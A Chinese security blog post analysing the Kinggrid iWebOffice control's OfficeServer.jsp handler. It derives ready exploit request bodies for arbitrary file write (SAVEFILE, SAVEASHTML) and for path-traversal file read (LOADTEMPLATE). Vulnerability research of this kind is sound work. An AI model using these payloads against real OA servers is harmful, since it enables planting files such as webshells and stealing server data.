前言
众所周知,多个oa中都使用了金格iWebOffice控件。但在不同的oa中exp多少存在差异性,尝试从代码层一探究竟。
简介
金格iWebOffice控件是一种文档控件,能够在浏览器上进行编辑word文档、excel表格等文档最终保存在服务器上,手写签名、电子签章广泛应用于此。所以oa都喜欢使用。
漏洞分析
以某oa为例,本地搭建OfficeServer.jsp进行访问。
首先创建iWebOffice类的实例,officeServer对象调用ExecuteRun方法。并传入request、response。
在ExecuteRun方法里,会创建出数据库对象和创建信息包对象。
iMsgServer2000 方法里DBSTEP V3.0
字符串赋值为this._$906
,this._$903
创建出临时文件。而后调用deleteOnExit方法删除临时文件。
回到ExecuteRun方法里,往下判断请求方法是否为Post请求。
即必须使用Post方法进行请求。
当使用Post方法请求时,首先进入MsgObj.Load方法。跟进该方法。
一个修改编码的操作,然后调用了_$1027
方法。
在该方法里以输入流的方式一次性读取到mRead,而后从mRead中读取64位长度保存到HeadString字符串中。接下来截取HeadString字符串的0-15位赋值为 this._$906
,16-31位赋值为BodySize(int类型),32-47位赋值为ErrorSize(int类型),48-63位赋值为this._$907(int类型)
即FileSize。代码走到这个地方,我们可以尝试初步构造一下这64位长度。
aaaaaaaaaaaaaaaa1 2 3
debug 跟踪一下
和我们计算的一样。
然后mRead会继续读取BodySize大小的数据并赋值为this._$904
。
再往下,如果ErrorSize大于0,mRead会继续读取ErrorSize大小的数据并赋值为this._$905
。
再往下,如果FileSize大于0,会创建出this._$903
输出流,并最终写入文件。
再往下,如果FileSize小于BlockSize,mRead会继续读取FileSize大小的数据并写入mWite。到这里,我们可以对数据格式进一步调整。
aaaaaaaaaaaaaaaa8 2 3 bbbxxccc
至此MsgObj.Load方法就分析了,我们发现有一个文件写入的操作。但我们需要寻找可控制的参数来实现它。 现在回到OfficeServer.jsp页面中。
都用到了GetMsgByName方法。
该方法里判断this._$904
里是否存在mFieldName,即DBSTEP=
,如果存在才会进入if语句。而后以rn
分割,并对值进行base64解码。
基于这个条件,我们完善我们的数据格式。
aaaaaaaaaaaaaaaa13 2 3 DBSTEP=MTEx
xxccc
再次回到OfficeServer.jsp中,因为都是由GetMsgByName方法获取的FieldName。我们依次构造一下。
DBSTEP要等于DBSTEP,即DBSTEP=REJTVEVQ
aaaaaaaaaaaaaaaa48 2 3 DBSTEP=REJTVEVQ
FILENAME=
OPTION=
USERNAME=
xxccc
option可以理解为操作的方法,分别对应不同的if else语句。当option为SAVEFILE时,为保存文件到服务器。
依次构造出RECORDID、FILENAME、FILETYPE。再往下一个参数isDoc,当isDoc为true是,会保存到文件夹。保存的位置由moduleType定义。
此时数据格式为
aaaaaaaaaaaaaaaa127 2 3 DBSTEP=REJTVEVQ
FILENAME=
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=
FILETYPE=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
再往下就看到保存文件的操作了。
MsgFileSave方法实现了将this._$903
复制到FileName
。
可以发现FileType由可以控制的,即可以控制FileName
。比如FileType赋值为information,文件就会保存到/upload/information/
exp即为:
aaaaaaaaaaaaaaaa138 2 3 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=MQ==
FILENAME=
FILETYPE=MS50eHQ=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
成功写入,现在只保留必须的参数即是exp。
aaaaaaaaaaaaaaaa101 3 4 DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
FILETYPE=MS50eHQ
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxx1111
总结一下:exp总共是4部分。1、必须是64位的HeadString。即this._$906
+BodySize
+ErrorSize
+this._$907
aaaaaaaaaaaaaaaa101 3 4
2、进行写入文件的必备参数。即
DBSTEP=REJTVEVQrnOPTION=U0FWRUZJTEU=rnFILETYPE=MS50eHQrnisDoc=dHJ1ZQ==rnmoduleType=aW5mb3JtYXRpb24=rn
计算该字符串长度即是BodySize 3、读取ErrorSize部分的字符。即xxx
,为3位ErrorSize 4、读取this._$907
部分的字符,即1111
,为4位this._$907
在整个过程里,需要注意的是 1、字符串长度的计算最好使用代码实现,编辑器存在误差。2、因为FILETYPE
的可控,完全可以写入任意路径。3、HeadString部分满足64位即可,不需要一定存在DBSTEP V3.0
以上就是当OPTION为SAVEFILE的利用,思考一下其他OPTION会存在漏洞吗?SAVEFILE操作产生漏洞的关键就是用了MsgFileSave
方法且mFileType
可控。依据这个思路寻找其他操作。如SAVEASHTML
操作时也出现了MsgFileSave
且mHtmlName
可控。
构造一下exp
aaaaaaaaaaaaaaaa65 3 4 DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=MTIzLnR4dA==
xxx1111
成功写入。
除此之外,还有SAVEASPAGE、PUTFILE等操作均可以。在LOADTEMPLATE操作中,还存在一个MsgFileLoad
任意文件读取。构造一下exp
aaaaaaaaaaaaaaaa111 0 0 DBSTEP=REJTVEVQ
OPTION=TE9BRFRFTVBMQVRF
COMMAND=SU5TRVJURklMRQ==
TEMPLATE=Ly4uL2luZm9ybWF0aW9uLzExLnR4dA==
但该漏洞只适用于windows环境下。因为linux在处理路径分隔符时有一些差异,无法找到该文件。
在windows下可正常读取。
总结
绘制一张粗糙的流程图回顾一下。
原文始发于微信公众号(Wings安全团队):金格iWebOffice控件分析